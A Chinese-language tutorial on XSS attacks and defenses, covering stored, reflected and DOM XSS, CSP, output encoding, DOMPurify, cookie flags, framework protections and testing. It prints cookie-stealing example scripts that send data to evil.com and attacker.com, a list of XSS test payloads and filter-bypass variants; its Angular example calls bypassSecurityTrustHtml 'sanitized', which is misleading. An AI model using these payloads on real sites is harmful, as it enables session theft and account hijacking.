当前位置: 首页 > news >正文

HTML与安全性:XSS、防御与最佳实践

HTML 与安全性:XSS、防御与最佳实践

前言

现代 Web 应用程序无处不在,而 HTML 作为其基础结构,承载着巨大的安全责任。跨站脚本攻击(XSS)仍然是 OWASP Top 10 安全威胁之一,对用户数据和网站完整性构成严重威胁。我们作为前端工程师,理解并防御这些威胁不仅是技术要求,更是保护用户的道德责任。

XSS 攻击之所以如此普遍,是因为 HTML 本身的设计允许脚本与内容混合,在不谨慎处理用户输入的情况下,极易导致安全漏洞。本文将深入探讨 XSS 漏洞的本质、分析常见攻击场景,并提供实用的防御策略。

XSS 攻击基础

什么是 XSS 攻击?

XSS 是一种注入型攻击,攻击者将恶意脚本注入到受信任的网站中。当其他用户访问这些网站时,恶意脚本会在用户浏览器中执行,从而获取用户敏感信息或执行未授权操作。

XSS 攻击之所以危险,主要是因为浏览器无法区分合法脚本和恶意脚本。当脚本来自"可信"域时,浏览器会授予其访问该域下所有资源的权限,包括:

  • 窃取用户 Cookie 和会话信息,导致身份冒用
  • 劫持用户账户,执行未授权操作
  • 篡改网页内容,传播虚假信息
  • 重定向用户至恶意网站,进行钓鱼攻击
  • 在用户浏览器中安装恶意软件或键盘记录器
  • 利用用户身份向其他用户发送恶意信息,形成蠕虫传播效应

实际案例:2005年,MySpace 网站遭遇了著名的 "Samy 蠕虫"攻击,攻击者通过 XSS 漏洞,使自己的个人资料页面包含自动添加好友的恶意代码。任何访问该页面的用户都会无意中执行该代码,导致攻击者在 24 小时内获得超过一百万好友。

XSS 攻击类型

1. 存储型 XSS

存储型 XSS(也称为持久型 XSS)是最危险的一种跨站脚本攻击形式。攻击者提交的恶意代码被存储在目标服务器上(如数据库、评论系统或论坛帖子中),然后在其他用户访问包含该恶意代码的页面时被执行。

以博客评论系统为例:

<!-- 用户评论表单 -->
<form action="/submit-comment" method="POST"><textarea name="comment" placeholder="分享您的想法..."></textarea><button type="submit">提交评论</button>
</form><!-- 服务器端渲染评论的代码 (PHP示例) -->
<div class="comment"><?php echo $comment; // 直接输出未经处理的用户输入 ?>
</div>

上述代码中,服务器直接将用户输入的评论内容嵌入到 HTML 中,没有进行任何过滤或转义。攻击者可能提交如下评论:

这是一条看似正常的评论<script>// 窃取用户 cookie 并发送到攻击者控制的服务器fetch('https://evil.com/steal?cookie='+document.cookie)
</script>

当其他用户浏览包含此评论的页面时,恶意脚本会在他们的浏览器中执行,窃取 cookie 并发送到攻击者的服务器。攻击者可以利用这些 cookie 冒充用户身份,进行未授权操作。

存储型 XSS 的危险在于:

  • 恶意代码被永久存储在服务器上
  • 每个访问页面的用户都会受到攻击
  • 用户通常信任网站内容,不会怀疑其中包含恶意代码
  • 攻击影响范围广,可能影响所有网站用户
2. 反射型 XSS

反射型 XSS(也称为非持久型 XSS)是一种攻击,其中恶意脚本是URL参数的一部分,服务器接收后直接嵌入到响应页面中返回给用户。攻击者通常通过诱导用户点击特制的恶意链接来触发攻击。

以搜索功能为例:

https://example.com/search?query=<script>alert(document.cookie)</script>

如果服务端代码不当处理搜索参数:

// PHP 服务器端代码
echo "<p>搜索结果: " . $_GET['query'] . "</p>";

服务器会生成以下 HTML 输出:

<p>搜索结果: <script>alert(document.cookie)</script></p>

当用户访问此链接时,浏览器会执行嵌入的恶意 JavaScript 代码。反射型 XSS 的特点是:

  • 攻击代码不存储在服务器上,而是在请求中传递
  • 攻击者需要诱导用户点击恶意链接(如通过钓鱼邮件)
  • 影响范围通常仅限于点击链接的用户
  • 恶意链接通常复杂且可疑,但可以通过 URL 缩短服务隐藏

常见的反射型 XSS 攻击场景包括:

  • 搜索结果页面
  • 错误消息反馈
  • 用户个人资料显示页面
  • 任何回显用户输入的页面
3. DOM 型 XSS

DOM 型 XSS 是一种特殊类型的跨站脚本攻击,其中漏洞存在于客户端 JavaScript 代码中,而非服务器端处理过程。攻击者利用前端代码不安全地处理输入,直接操作 DOM 结构,从而执行恶意脚本。

最常见的 DOM 型 XSS 漏洞出现在直接操作 innerHTML 属性时:

// 不安全的 DOM 操作
// 获取 URL 参数中的 name 值
const userName = new URLSearchParams(window.location.search).get('name');
// 直接将参数值插入 DOM 中,没有任何过滤
document.getElementById('greeting').innerHTML = '欢迎, ' + userName;

攻击者可以构造以下 URL:

https://example.com/page?name=<img src="x" onerror="alert(document.cookie)">

当用户访问此链接时,JavaScript 代码会提取 name 参数并将其插入 DOM 中。由于使用了 innerHTML 属性,HTML 标签会被解析并执行,触发恶意脚本。

DOM 型 XSS 的特点:

  • 漏洞存在于客户端 JavaScript 代码中
  • 服务器可能完全不涉及攻击过程
  • 即使页面内容通过 HTTPS 传输,也可能受到攻击
  • 传统服务器端防御措施(如输出编码)无法防止此类攻击

DOM 型 XSS 特别危险的原因在于,许多开发者不了解客户端代码同样需要安全处理用户输入。随着单页应用(SPA)的普及,这类漏洞越来越常见。

XSS 漏洞防御策略

1. 内容安全策略 (CSP)

内容安全策略(Content Security Policy, CSP)是一种浏览器安全机制,通过限制资源加载和脚本执行的来源,有效减轻 XSS 攻击风险。CSP 的核心思想是建立一个"白名单",明确告诉浏览器哪些资源来源是可信的,拒绝加载或执行所有其他来源的资源。

CSP 可以通过 HTTP 响应头或 HTML meta 标签配置:

<!-- 在 HTML 中设置 CSP -->
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self' https://trusted-cdn.com;">

或通过服务器响应头设置(推荐方法,更安全):

Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com; style-src 'self' https://trusted-cdn.com; img-src 'self' data:;

上述策略指定:

  • 默认情况下,只允许加载同源资源(default-src 'self'
  • JavaScript 脚本只能从当前域和 trusted-cdn.com 加载(script-src 'self' https://trusted-cdn.com
  • CSS 样式只能从当前域和 trusted-cdn.com 加载(style-src 'self' https://trusted-cdn.com
  • 图片只能从当前域加载或使用 data URI(img-src 'self' data:

CSP 规则详解:

指令作用示例详细说明
default-src为其他获取指令提供备用值default-src ‘self’当特定资源类型没有专门的指令时,使用此默认值
script-src控制脚本资源script-src ‘self’ https://cdn.example.com限制 JavaScript 文件的加载来源,可以防止未授权的脚本执行
style-src控制样式资源style-src ‘self’ ‘unsafe-inline’限制 CSS 文件的加载来源,‘unsafe-inline’ 允许内联样式
img-src控制图片资源img-src ‘self’ data: https://img.example.com限制图片的加载来源,包括 data URI
connect-src控制 fetch、XHR、WebSocketconnect-src ‘self’ https://api.example.com限制通过 JavaScript API 连接的目标来源
frame-src控制 iframe 的来源frame-src ‘self’ https://trusted-site.com控制页面可嵌入的框架来源
object-src控制插件(如 Flash)object-src ‘none’禁用所有插件,减少攻击面
report-uri指定违规报告接收地址report-uri /csp-report-endpoint当策略被违反时,发送报告到指定端点

CSP 的关键价值在于:

  • 即使网站存在 XSS 漏洞,也能阻止恶意脚本执行
  • 限制内联脚本和 eval() 的使用,这是 XSS 攻击的常见载体
  • 提供违规报告机制,帮助发现潜在安全问题
  • 创建深度防御策略,即使其他防御措施失效也能提供保护

实施 CSP 的最佳实践:

  1. 从报告模式开始(Content-Security-Policy-Report-Only)
  2. 分析违规报告,逐步调整策略
  3. 尽量避免使用 ‘unsafe-inline’ 和 ‘unsafe-eval’
  4. 明确列出所有需要的资源来源
  5. 使用随机 nonce 或 hash 值允许特定内联脚本

2. 输入验证与输出编码

防御 XSS 攻击的基本原则是:“永远不要信任用户输入”。输入验证确保数据符合预期格式,而输出编码确保数据在显示时不会被解释为代码。

HTML 实体转义

HTML 实体转义是防止 XSS 最基本的技术,它将特殊字符转换为对应的 HTML 实体,使浏览器将其渲染为文本而非代码:

// 输出编码函数
function escapeHTML(text) {if (!text) return '';const map = {'&': '&amp;',   // & 符号转换为 HTML 实体'<': '&lt;',    // < 符号转换为 HTML 实体,防止形成开始标签'>': '&gt;',    // > 符号转换为 HTML 实体,防止形成结束标签'"': '&quot;',  // 双引号转换为 HTML 实体,防止属性值注入"'": '&#039;'   // 单引号转换为 HTML 实体,防止属性值注入};// 使用正则表达式进行全局替换return text.replace(/[&<>"']/g, m => map[m]);
}// 安全使用示例
const userInput = "<script>alert('XSS')</script>";
const safeOutput = escapeHTML(userInput);
console.log(safeOutput); // 输出: &lt;script&gt;alert(&#039;XSS&#039;)&lt;/script&gt;// 将编码后的内容插入 DOM
document.getElementById('content').textContent = userInput; // 最安全方法:textContent 自动处理转义
// 或者:
document.getElementById('content').innerHTML = safeOutput; // 编码后相对安全

编码后,特殊字符被转换为对应的 HTML 实体,浏览器会将其解释为普通文本并显示,而不是执行代码。这种方法特别适用于在 HTML 内容中显示用户输入。

需要注意的是,不同的上下文需要不同的编码方法:

  • HTML 内容:需要 HTML 实体编码
  • HTML 属性:需要属性编码,特别是引号
  • JavaScript:需要 JavaScript 转义
  • URL 参数:需要 URL 编码
使用 DOMPurify 库

对于需要支持部分 HTML 内容的场景(如富文本编辑器),可以使用 DOMPurify 这样的库来安全地过滤和清理 HTML:

<script src="https://cdnjs.cloudflare.com/ajax/libs/dompurify/2.3.8/purify.min.js"></script>
<script>// 包含潜在危险内容的用户输入const userInput = "<img src='x' onerror='alert(1)'><p>正常内容</p>";// 使用 DOMPurify 清理内容,移除潜在危险的元素和属性const clean = DOMPurify.sanitize(userInput, {ALLOWED_TAGS: ['p', 'strong', 'em', 'a', 'ul', 'li'],  // 限制允许的标签ALLOWED_ATTR: ['href', 'target']  // 限制允许的属性});// 输出: <p>正常内容</p>,恶意的 img 标签被移除document.getElementById('content').innerHTML = clean;// DOMPurify 还可以配置保留一些安全的样式const configuredClean = DOMPurify.sanitize(userInput, {ADD_TAGS: ['style'],ADD_ATTR: ['style'],FORBID_TAGS: ['script', 'iframe'],FORBID_ATTR: ['onerror', 'onload']});
</script>

DOMPurify 的工作原理是:

  1. 解析 HTML 为 DOM 结构
  2. 移除不安全的元素和属性
  3. 确保 URL 是安全的(防止 javascript: 协议)
  4. 清理 CSS(防止 CSS 注入攻击)
  5. 返回安全的 HTML 字符串

这种方法允许富文本内容,同时移除潜在危险的代码,适用于博客评论、论坛帖子等需要支持部分 HTML 格式的场景。

3. HttpOnly 和 Secure Cookie

Cookie 是 XSS 攻击的主要目标之一,因为它们通常包含用户会话信息。通过设置 HttpOnly 和 Secure 标志,可以显著增强 Cookie 安全性:

Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=3600;

属性详细解释:

  • HttpOnly: 阻止 JavaScript 访问 cookie,这是防止 XSS 攻击窃取 cookie 的关键防御。即使页面存在 XSS 漏洞,攻击者也无法通过 document.cookie 访问这些 cookie。
  • Secure: 仅通过 HTTPS 发送 cookie,防止中间人攻击(MitM)截获 cookie。
  • SameSite: 控制跨站点请求时是否发送 cookie。有三个可能的值:
    • Strict: 最严格,只在同一站点的请求中发送 cookie
    • Lax: 较宽松,同站点请求和从其他站点导航(如点击链接)时发送 cookie
    • None: 无限制,但必须与 Secure 属性一起使用
  • Path: 指定 cookie 适用的路径,限制 cookie 的作用范围
  • Max-Age/Expires: 设置 cookie 的生命周期,减少长期有效 cookie 的安全风险

服务器端实现示例(Node.js/Express):

app.use(session({name: 'sessionId',secret: 'your-secret-key',resave: false,saveUninitialized: true,cookie: { httpOnly: true,      // 防止客户端 JavaScript 访问secure: true,        // 仅通过 HTTPS 发送sameSite: 'strict',  // 仅在同站点请求中发送maxAge: 3600000      // 生命周期 1 小时}
}));

这些设置组合起来可以:

  • 防止 XSS 攻击窃取 cookie(HttpOnly)
  • 防止网络监听和中间人攻击(Secure)
  • 减轻跨站请求伪造(CSRF)攻击风险(SameSite)
  • 限制 cookie 的暴露范围(Path)
  • 减少长期会话劫持风险(Max-Age/Expires)

常见攻击案例分析

案例一:评论系统 XSS

许多网站允许用户发表评论,这是 XSS 攻击的常见目标。下面详细分析评论系统中的 XSS 漏洞及其防御:

攻击流程:

  1. 攻击者提交包含恶意脚本的评论
  2. 服务器存储评论但没有适当过滤或编码
  3. 其他用户访问包含评论的页面
  4. 恶意脚本在用户浏览器中执行
  5. 脚本可能窃取用户 cookie、表单数据或执行其他恶意操作
// 有风险的评论显示代码
function addComment(comment) {const commentDiv = document.createElement('div');commentDiv.innerHTML = comment; // 危险!直接注入未过滤的内容document.querySelector('.comments').appendChild(commentDiv);
}// 攻击者可能提交:
const maliciousComment = `看起来是正常评论
<script>// 窃取用户 cookieconst stolenCookie = document.cookie;// 创建隐藏图像,将数据发送到攻击者服务器const img = new Image();img.src = 'https://attacker.com/steal?data='+encodeURIComponent(stolenCookie);document.body.appendChild(img);
</script>`;

这种代码有几个明显问题:

  1. 直接使用 innerHTML 插入未过滤的内容
  2. 没有任何内容验证或清理
  3. 允许所有 HTML 标签和属性,包括 <script> 和事件处理属性

修复后的安全代码:

// 方法 1:使用 textContent(最安全)
function addComment(comment) {const commentDiv = document.createElement('div');commentDiv.textContent = comment; // 安全!自动编码内容为纯文本document.querySelector('.comments').appendChild(commentDiv);
}// 方法 2:使用 DOMPurify 允许有限的 HTML
function addRichComment(comment) {const commentDiv = document.createElement('div');// 仅允许基本格式化标签,移除所有脚本和危险属性commentDiv.innerHTML = DOMPurify.sanitize(comment, {ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'p', 'br'],ALLOWED_ATTR: []});document.querySelector('.comments').appendChild(commentDiv);
}// 方法 3:服务器端渲染(Node.js 示例)
app.get('/comments', (req, res) => {const comments = fetchCommentsFromDatabase();const safeComments = comments.map(comment => {// 使用专用库转义 HTML 特殊字符return {...comment,content: escapeHTML(comment.content)};});res.render('comments', { comments: safeComments });
});

通过这些方法,即使攻击者提交恶意内容,它也会被渲染为纯文本或经过严格过滤的 HTML,防止脚本执行。

案例二:URL 参数反射

URL 参数反射是反射型 XSS 攻击的典型案例,通常出现在搜索功能、错误消息或其他直接回显 URL 参数的场景:

// 有风险的代码:直接将 URL 参数插入 DOM
const searchQuery = new URLSearchParams(window.location.search).get('q');
document.getElementById('searchResults').innerHTML = '搜索结果: ' + searchQuery; // 危险!未经处理的参数直接插入 HTML// 攻击者可以构造 URL:
// https://example.com/search?q=<img src="x" onerror="alert(document.cookie)">

这段代码直接将 URL 参数插入 DOM,没有任何过滤或编码。当用户访问攻击者构造的 URL 时,恶意代码会被执行。

修复方案:

// 方法 1:使用 textContent(推荐)
const searchTerm = new URLSearchParams(window.location.search).get('q');
document.getElementById('searchResults').textContent = '搜索结果: ' + searchTerm;// 方法 2:使用 HTML 转义函数
const searchQuery = new URLSearchParams(window.location.search).get('q');
document.getElementById('searchResults').innerHTML = '搜索结果: ' + escapeHTML(searchQuery);// 方法 3:服务器端渲染与验证
// Express.js 示例
app.get('/search', (req, res) => {const query = req.query.q || '';// 验证输入(可选,但推荐)if (!/^[\w\s.,?!-]+$/.test(query)) {return res.render('search', { results: [], error: '搜索查询包含无效字符' });}const results = performSearch(query);// 渲染模板时自动转义内容res.render('search', { query, results, error: null });
});

为进一步加强保护,可以实施内容安全策略:

Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'

这种策略会阻止内联脚本执行,即使攻击者成功注入了代码,也无法执行。

案例三:JSON 注入

许多现代 Web 应用会将后端数据以 JSON 形式注入前端 JavaScript 代码,如果处理不当,可能导致 XSS 漏洞:

<script>// 有风险的实现:直接注入未转义的 JSONconst userConfig = <%= raw user_config_json %>;// 如果 user_config_json 包含:// {"username":"user","theme":"</script><script>alert(document.cookie);//"}// 将导致脚本标签提前闭合,执行恶意代码
</script>

这种模式的危险在于,JSON 数据可能包含特殊字符,导致 <script> 标签提前闭合,插入恶意代码。

安全的实现方法:

<script>// 安全的实现方式 1:使用 JSON.parseconst userConfig = JSON.parse('<%= json_escape(user_config_json) %>');// 安全的实现方式 2:使用专用 JSON 序列化函数const userConfig = <%= serialize_json(user_config) %>;// 安全的实现方式 3:通过数据属性注入,然后使用 JSON.parse
</script>
<div id="user-data" data-config="<%= html_escape(user_config_json) %>"></div>
<script>const configStr = document.getElementById('user-data').getAttribute('data-config');const userConfig = JSON.parse(configStr);
</script>

Ruby on Rails 中的安全实现:

<script>// 使用 Rails 的 html_safe 和 json 转义const userConfig = JSON.parse('<%= raw json_escape(user_config_json) %>');
</script>

Node.js/Express 中的安全实现:

app.get('/user-page', (req, res) => {const userConfig = getUserConfig(req.user);// 安全地序列化 JSONconst safeJson = JSON.stringify(userConfig).replace(/</g, '\\u003c').replace(/>/g, '\\u003e').replace(/&/g, '\\u0026').replace(/'/g, '\\u0027');res.render('user-page', { userConfigJson: safeJson });
});

这些方法确保:

  1. 特殊字符被正确转义,防止 HTML 注入
  2. JSON 数据的完整性得到保持
  3. 脚本标签不会被提前闭合
  4. 数据在解析前已经安全处理

防御 XSS 的最佳实践清单

1. 输入验证

输入验证是防御 XSS 的第一道防线,限制用户可以提交的数据类型和格式:

// 输入验证示例
function validateUsername(username) {// 定义用户名的有效模式:3-20个字符,只允许字母、数字和下划线const pattern = /^[a-zA-Z0-9_]{3,20}$/;// 测试用户名是否匹配模式const isValid = pattern.test(username);if (!isValid) {// 提供具体的错误反馈throw new Error('用户名只能包含字母、数字和下划线,长度在3-20个字符之间');}return true; // 验证通过
}// 更复杂的验证示例:多字段表单验证
function validateUserForm(formData) {const errors = {};// 验证用户名if (!formData.username || !/^[a-zA-Z0-9_]{3,20}$/.test(formData.username)) {errors.username = '用户名格式无效';}// 验证电子邮件if (!formData.email || !/^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(formData.email)) {errors.email = '电子邮件格式无效';}// 验证 URL(可选字段)if (formData.website && !/^https?:\/\/[\w\-]+(\.[\w\-]+)+[/#?]?.*$/.test(formData.website)) {errors.website = '网站 URL 格式无效';}// 检查是否有错误return Object.keys(errors).length === 0 ? null : errors;
}

输入验证应遵循以下原则:

  • 实施严格的输入验证,使用白名单而非黑名单方法
  • 对特殊字符进行过滤或编码
  • 验证数据类型、长度和格式
  • 服务端和客户端都应实施验证(服务端验证是必须的)
  • 对于不同类型的数据使用不同的验证规则

输入验证不应替代输出编码,而是作为多层防御策略的一部分。即使输入看似安全,在输出时仍应进行适当编码。

2. 上下文感知的输出编码

不同的 HTML 上下文需要不同的编码策略:

// HTML 上下文
// 1. 最安全:使用 textContent
element.textContent = userInput; // 完全防止 HTML 注入// 2. 次选:HTML 实体编码后使用 innerHTML
element.innerHTML = escapeHTML(userInput);// HTML 属性上下文
// 1. 安全方法:setAttribute + textContent
element.setAttribute('data-value', userInput); // 安全的属性// 2. 危险方法(避免):
// element.setAttribute('onclick', userInput); // 不要在事件处理器中使用未验证的输入// JavaScript 上下文
// 1. 安全:使用 JSON 序列化
const json = JSON.stringify(userInput);
const script = document.createElement('script');
script.textContent = `const userValue = ${json}`; // 安全方式插入变量
document.head.appendChild(script);// URL 上下文
// 1. 安全:encodeURIComponent
const url = `https://example.com/search?q=${encodeURIComponent(userInput)}`;

上下文感知编码的重点:

  1. HTML 内容上下文

    • < 转换为 &lt;,防止形成 HTML 标签
    • > 转换为 &gt;,防止闭合 HTML 标签
    • & 转换为 &amp;,防止形成 HTML 实体
    • 最好使用 .textContent 而非 .innerHTML
  2. HTML 属性上下文

    • 将引号("')转换为实体
    • 使用 setAttribute() 而非直接字符串拼接
    • 避免在事件处理属性中使用用户输入
  3. JavaScript 上下文

    • 使用 JSON.stringify() 确保数据正确转义
    • 避免直接将用户输入插入到 eval() 或类似功能中
    • 避免在动态生成的代码中包含用户输入
  4. URL 上下文

    • 使用 encodeURIComponent() 编码参数
    • 验证 URL 协议,防止 javascript: 协议注入
    • 对域名部分特别谨慎,避免使用用户输入构造域名

3. 使用现代框架

现代前端框架如 React、Vue 和 Angular 已内置了防止 XSS 的机制,默认对数据进行编码:

// React 自动编码示例
function Comment({ text }) {return <div>{text}</div>; // text 会自动编码,防止 XSS 攻击
}// 但使用 dangerouslySetInnerHTML 时仍需小心
function UnsafeComment({ html }) {// 危险操作,必须确保 html 已安全处理return <div dangerouslySetInnerHTML={{ __html: html }} />;
}// 安全使用 dangerouslySetInnerHTML
function SafeRichContent({ content }) {// 使用 DOMPurify 清理 HTMLconst sanitizedHTML = DOMPurify.sanitize(content, {ALLOWED_TAGS: ['p', 'strong', 'em', 'a', 'ul', 'li'],ALLOWED_ATTR: ['href', 'target']});return <div dangerouslySetInnerHTML={{ __html: sanitizedHTML }} />;
}

Vue.js 中的安全实践:

<!-- Vue 模板自动转义 -->
<template><div>{{ userComment }} <!-- 自动转义,安全 --><span v-text="userComment"></span> <!-- 同样安全 --><!-- 危险,仅在内容可信时使用 --><div v-html="userGeneratedHTML"></div></template>
</template><script>
export default {data() {return {userComment: '<script>alert("XSS")</script>',// 应该预先处理的富文本内容userGeneratedHTML: DOMPurify.sanitize(rawHTML)}}
}
</script>

Angular 中的安全实践:

// Angular 安全实践
@Component({selector: 'app-user-content',template: `<div>{{ userContent }}</div> <!-- 自动安全,会转义HTML --><div [innerHTML]="sanitizedHtml"></div> <!-- 使用Angular的DomSanitizer -->`
})
export class UserContentComponent {userContent = '<script>alert("XSS")</script>';// Angular提供内置的DomSanitizerconstructor(private sanitizer: DomSanitizer) {}get sanitizedHtml() {// 使用Angular的安全API处理HTMLreturn this.sanitizer.bypassSecurityTrustHtml(this.userContent);// 注意:这仍有风险,应与服务器端清理结合使用}
}

现代框架提供的安全优势:

  1. 自动转义:默认情况下,直接在模板中插入的变量会自动HTML转义
  2. 状态驱动渲染:通过状态管理数据,而非直接操作DOM,减少漏洞风险
  3. 跨站脚本保护:内置多层防御机制,如Angular的DomSanitizer
  4. 类型检查:TypeScript提供的类型系统可以减少因类型错误导致的安全漏洞
  5. 组件化架构:隔离不同组件的渲染逻辑,降低攻击面

尽管如此,使用框架时仍需注意:

  • 不要滥用绕过安全检查的API(如React的dangerouslySetInnerHTML,Vue的v-html)
  • 服务器端数据仍需清理,不要仅依赖前端防御
  • 第三方组件可能引入安全漏洞,应审慎选择

4. CSP 实施策略

内容安全策略(CSP)的实施应该循序渐进,避免一次性应用过于严格的策略导致应用功能中断:

1. 部署报告模式

首先以报告模式部署CSP,这样可以收集违规信息而不影响网站功能:

Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report-endpoint;

服务器端实现CSP报告接收端点:

// Express.js 实现CSP报告接收
app.post('/csp-report-endpoint', express.json({ type: 'application/csp-report' }), (req, res) => {// 记录CSP违规console.log('CSP违规:', req.body['csp-report']);// 可以将报告存储到数据库或发送到监控服务saveCSPViolation(req.body['csp-report']);res.status(204).end(); // 无内容响应
});
2. 分析违规报告

收集报告一段时间后,分析常见违规模式:

  • 识别必要的外部资源(如CDN、分析工具)
  • 发现内联脚本和样式
  • 检测eval()和其他潜在危险的JavaScript功能

根据分析结果,调整CSP策略以允许合法资源:

Content-Security-Policy-Report-Only: default-src 'self'; 
script-src 'self' https://trusted-cdn.com https://analytics.example.com; 
style-src 'self' https://fonts.googleapis.com; 
img-src 'self' data: https://img.example.com; 
report-uri /csp-report-endpoint;
3. 实施强制策略

经过充分测试后,切换到强制模式:

Content-Security-Policy: default-src 'self'; 
script-src 'self' https://trusted-cdn.com https://analytics.example.com; 
style-src 'self' https://fonts.googleapis.com; 
img-src 'self' data: https://img.example.com;
report-uri /csp-report-endpoint;
4. 逐步增强策略

一旦基本策略稳定运行,可以逐步加强限制:

Content-Security-Policy: default-src 'self'; 
script-src 'self' https://trusted-cdn.com 'nonce-RandomNonceHere'; 
style-src 'self' https://fonts.googleapis.com; 
img-src 'self' data: https://img.example.com; 
object-src 'none'; 
base-uri 'self';
form-action 'self';
frame-ancestors 'none';
report-uri /csp-report-endpoint;

随着应用程序演进,应定期审查和更新CSP策略,确保其有效性和完整性。

前沿安全考量

1. Trusted Types API

Trusted Types是一种新的浏览器API,可以在运行时强制实施安全策略,有效防止DOM XSS攻击:

// 检查浏览器支持
if (window.trustedTypes && trustedTypes.createPolicy) {// 定义安全策略const policy = trustedTypes.createPolicy('myEscapePolicy', {createHTML: string => {// 实现HTML安全转义return string.replace(/\</g, '&lt;').replace(/\>/g, '&gt;');},createScriptURL: url => {// 验证脚本URLconst parsed = new URL(url, location.origin);if (parsed.origin !== location.origin && parsed.hostname !== 'trusted-cdn.example.com') {throw new Error('不允许的脚本来源');}return parsed.href;},createScript: script => {// 可以在这里添加脚本验证逻辑// 例如,禁止某些危险函数if (script.includes('eval(') || script.includes('document.write(')) {throw new Error('脚本包含禁用函数');}return script;}});// 使用策略创建安全HTMLconst userInput = '<img src=x onerror=alert(1)>';try {// 会被政策处理,转换为安全的HTMLconst escaped = policy.createHTML(userInput);element.innerHTML = escaped; // 现在安全了// 加载脚本示例const scriptURL = policy.createScriptURL('https://trusted-cdn.example.com/library.js');const script = document.createElement('script');script.src = scriptURL; // 类型检查确保这是安全的URLdocument.head.appendChild(script);} catch (e) {console.error('安全策略违规:', e);}
}

Trusted Types结合CSP可以提供强大的保护:

Content-Security-Policy: trusted-types myEscapePolicy; require-trusted-types-for 'script';

这个CSP指令要求所有可能导致DOM XSS的操作(如innerHTML、document.write等)必须使用Trusted Types。

2. 子资源完整性 (SRI)

子资源完整性通过验证资源的哈希值,确保从CDN或其他外部来源加载的资源没有被篡改:

<script src="https://cdn.example.com/library.js" integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"crossorigin="anonymous"></script><link rel="stylesheet" href="https://cdn.example.com/styles.css"integrity="sha384-MCw98/SFnGE8fJT3GXwEOngsV7Zt27NXFoaoApmYm81iuXoPkFOJwJ8ERdknLPMO"crossorigin="anonymous">

生成SRI哈希的方法:

# 使用命令行生成SRI哈希
cat library.js | openssl dgst -sha384 -binary | openssl base64 -A

SRI的工作原理:

  1. 浏览器下载指定资源
  2. 计算资源的哈希值
  3. 将计算得到的哈希与integrity属性中指定的哈希比较
  4. 如果不匹配,拒绝加载资源

这种保护尤其适用于通过CDN分发的JavaScript库和CSS文件,确保即使CDN被攻击,攻击者也无法注入恶意代码。

3. 权限策略

权限策略(Permissions Policy)允许开发者控制网站可以使用哪些浏览器功能,限制潜在危险API的使用:

<meta http-equiv="Permissions-Policy" content="geolocation=(), camera=(), microphone=()">

或通过HTTP头:

Permissions-Policy: geolocation=(), camera=(), microphone=(), payment=()

这种策略可以限制页面使用敏感API,即使页面被XSS攻击,攻击者也无法访问这些功能。可以限制的功能包括:

  • 地理位置API
  • 摄像头和麦克风
  • 全屏模式
  • 支付请求API
  • 用户媒体设备
  • 剪贴板访问

在实际应用中,可以精确控制哪些功能允许在主域和哪些功能允许在嵌入的iframe中使用:

Permissions-Policy: geolocation=(self "https://maps.example.com"), camera=(), payment=(self)

测试与验证

1. 自动化安全扫描

将安全扫描工具集成到CI/CD流程中,可以自动检测潜在XSS漏洞:

# GitHub Actions 工作流示例
name: Security Scan
on: [push, pull_request]
jobs:security:runs-on: ubuntu-lateststeps:- uses: actions/checkout@v2- name: Run OWASP ZAP scanuses: zaproxy/action-baseline@v0.6.1with:target: 'https://staging.example.com'- name: Run ESLint security rulesrun: |npm installnpx eslint --plugin security src/- name: Run dependency checkuses: snyk/actions/node@masterwith:args: --severity-threshold=high

常用安全扫描工具:

  • OWASP ZAP: 综合性Web应用程序安全扫描器
  • ESLint + eslint-plugin-security: 检测JavaScript代码中的安全问题
  • Snyk: 检查依赖项中的已知安全漏洞
  • SonarQube: 代码质量和安全性分析
  • Burp Suite: 专业Web安全测试工具

2. 渗透测试技巧

手动测试是发现XSS漏洞的重要方法,以下是一些常用测试载荷:

"><script>alert(document.domain)</script>
'><script>alert(document.domain)</script>
<img src=x onerror=alert(document.domain)>
<svg onload=alert(document.domain)>
javascript:alert(document.domain)
"><iframe src="javascript:alert(document.domain)"></iframe>
"autofocus onfocus=alert(document.domain) x="

对不同输入字段和上下文进行测试:

  1. URL参数: 测试所有GET参数
  2. 表单字段: 测试各种输入类型
  3. HTTP头: 测试反映在页面上的头信息(如User-Agent)
  4. Cookie值: 检查是否直接显示
  5. 文件名和上传: 测试文件名是否会被显示
  6. JSON/XML数据: 测试API返回值的处理

绕过常见过滤技术的方法:

// 大小写混合
<ScRiPt>alert(1)</sCrIpT>// 编码绕过
<img src="x" onerror="&#97;lert(1)">// 事件处理属性
<body onload=alert(1)>// 无引号属性
<img src=x onerror=alert(1)>// 协议绕过
<a href="javas&#99;ript:alert(1)">点击我</a>

总结和思考

防御XSS攻击需要多层次的安全策略,形成深度防御体系:

  1. 严格的输入验证:限制用户输入的数据类型、格式和长度,使用白名单过滤方法。

  2. 适当的输出编码:根据不同上下文(HTML内容、HTML属性、JavaScript、URL)使用相应的编码方法,防止注入攻击。

  3. 内容安全策略 (CSP):限制可执行代码的来源,即使存在XSS漏洞也能阻止恶意脚本执行。

  4. 安全的cookie配置:使用HttpOnly、Secure和SameSite属性保护敏感cookie,减少会话劫持风险。

  5. 现代框架的安全特性:利用React、Vue、Angular等框架内置的安全机制,自动处理内容编码。

  6. 前沿安全API和标准:采用Trusted Types、SRI和权限策略等新技术,进一步加强应用程序安全性。

  7. 自动化安全测试:将安全扫描集成到开发流程中,尽早发现并修复潜在漏洞。

作为前端工程师,安全应该是开发过程中的核心考量,而非事后添加的功能。安全意识和知识应该渗透到日常工作的各个方面,从最初的设计到最终的部署。通过实施本文提到的最佳实践,我们可以显著降低XSS攻击的风险,保护用户数据和网站完整性。

通过持续学习和关注安全最佳实践,我们可以构建更安全、更可靠的Web应用程序,为用户提供值得信赖的在线体验。而这种对安全的深入理解和重视,也是区分初级和高级前端工程师的重要标志之一。

安全是一个不断演进的领域,攻击者总是在寻找新的漏洞和绕过方法。因此,持续学习和保持警惕至关重要。定期回顾安全实践,关注行业动态,参与安全社区,这些都是提高自身安全技能的有效方法。

延伸阅读

  • OWASP XSS防护备忘单
  • MDN内容安全策略指南
